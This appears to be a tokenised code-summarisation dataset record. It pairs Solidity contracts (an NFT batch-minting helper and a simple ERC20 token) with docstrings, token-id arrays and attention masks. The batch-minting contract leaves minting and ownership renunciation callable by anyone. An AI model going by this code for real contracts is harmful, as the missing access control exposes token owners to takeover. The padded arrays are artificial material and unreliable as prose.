0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
2874,
261,
2867,
516,
2874,
261,
11890,
516,
1731,
1578,
3719,
2713,
312,
3890,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.11;
pragma experimental ABIEncoderV2;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IRockstar {
/**
* @dev mints a unique NFT
*/
function safeMint(address recipient, string memory metadata) external returns (bool);
/**
* @dev renounces ownership
*/
function renounceOwnership() external;
}
/**
* @title Rockstar
* @dev Script to deploy batch transactions of NFTs
*/
contract BatchMintNFT {
constructor() public {}
/**
* @notice Mass produces NFTs in a batched transaction
* @param token the address of the NFT token that needs to be mintedd
* @param recipients the array of address of recipients who will receive these tokens
* @param metadatas the array of metadata associated with each NFT
* @param startpos the start position in NFT order
* @param num the number of tokens to be minted
*/
function produceNFTs(address token, address[] memory recipients, string[] memory metadatas, uint8 startpos, uint8 num) public {
require(recipients.length == 100, "BatchDeploy::batchDeployNFTs: Needs exact 100 recipients");
require(recipients.length == metadatas.length, "BatchDeploy::batchDeployNFTs: recipients and metaddata count mismatch");
IRockstar rockstar = IRockstar(token);
for (uint i=startpos; i<num; i++) {
// Deploy NFTs
rockstar.safeMint(recipients[i], metadatas[i]);
}
}
/**
* @notice revokes ownership from the NFT Smart Contract
* @param token The address of the token from which ownership needs to be revoked
*/
function revokeOwnership(address token) external {
IRockstar rockstar = IRockstar(token);
rockstar.renounceOwnership();
}
}
|
* @notice Mass produces NFTs in a batched transaction @param token the address of the NFT token that needs to be mintedd @param recipients the array of address of recipients who will receive these tokens @param metadatas the array of metadata associated with each NFT @param startpos the start position in NFT order @param num the number of tokens to be minted/ Deploy NFTs
|
function produceNFTs(address token, address[] memory recipients, string[] memory metadatas, uint8 startpos, uint8 num) public {
require(recipients.length == 100, "BatchDeploy::batchDeployNFTs: Needs exact 100 recipients");
require(recipients.length == metadatas.length, "BatchDeploy::batchDeployNFTs: recipients and metaddata count mismatch");
IRockstar rockstar = IRockstar(token);
for (uint i=startpos; i<num; i++) {
rockstar.safeMint(recipients[i], metadatas[i]);
}
}
| 2,417,921 |
[
1,
4625,
348,
7953,
560,
30,
380,
632,
20392,
490,
428,
15505,
423,
4464,
87,
316,
279,
2581,
329,
2492,
632,
891,
1147,
326,
1758,
434,
326,
423,
4464,
1147,
716,
4260,
358,
506,
312,
474,
329,
72,
632,
891,
12045,
326,
526,
434,
1758,
434,
12045,
10354,
903,
6798,
4259,
2430,
632,
891,
312,
24484,
326,
526,
434,
1982,
3627,
598,
1517,
423,
4464,
632,
891,
787,
917,
326,
787,
1754,
316,
423,
4464,
1353,
632,
891,
818,
326,
1300,
434,
2430,
358,
506,
312,
474,
329,
19,
7406,
423,
4464,
87,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
225,
445,
11402,
50,
4464,
87,
12,
2867,
1147,
16,
1758,
8526,
3778,
12045,
16,
533,
8526,
3778,
312,
24484,
16,
2254,
28,
787,
917,
16,
2254,
28,
818,
13,
1071,
288,
203,
565,
2583,
12,
27925,
18,
2469,
422,
2130,
16,
315,
4497,
10015,
2866,
5303,
10015,
50,
4464,
87,
30,
29164,
5565,
2130,
12045,
8863,
203,
565,
2583,
12,
27925,
18,
2469,
422,
312,
24484,
18,
2469,
16,
315,
4497,
10015,
2866,
5303,
10015,
50,
4464,
87,
30,
12045,
471,
312,
1167,
892,
1056,
13484,
8863,
203,
203,
565,
15908,
975,
10983,
23486,
10983,
273,
15908,
975,
10983,
12,
2316,
1769,
203,
203,
565,
364,
261,
11890,
277,
33,
1937,
917,
31,
277,
32,
2107,
31,
277,
27245,
288,
203,
1377,
23486,
10983,
18,
4626,
49,
474,
12,
27925,
63,
77,
6487,
312,
24484,
63,
77,
19226,
203,
565,
289,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.5.0;
/**
********************************************************************
Green Core Finance
********************************************************************
*/
contract ERC20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Safe Math Library
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0);
c = a / b;
}
}
contract Green_Core_Finance is ERC20Interface, SafeMath {
string public name;
string public symbol;
uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it
uint256 public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
constructor() public {
name = "Green Core Finance";
symbol = "GRCO";
decimals = 18;
_totalSupply = 10000000000000000000000;
balances[msg.sender] = 10000000000000000000000;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function totalSupply() public view returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
}
|
* Constrctor function Initializes contract with initial supply tokens to the creator of the contract/
|
constructor() public {
name = "Green Core Finance";
symbol = "GRCO";
decimals = 18;
_totalSupply = 10000000000000000000000;
balances[msg.sender] = 10000000000000000000000;
emit Transfer(address(0), msg.sender, _totalSupply);
}
| 13,895,956 |
[
1,
4625,
348,
7953,
560,
30,
380,
735,
701,
30206,
445,
10188,
3128,
6835,
598,
2172,
14467,
2430,
358,
326,
11784,
434,
326,
6835,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
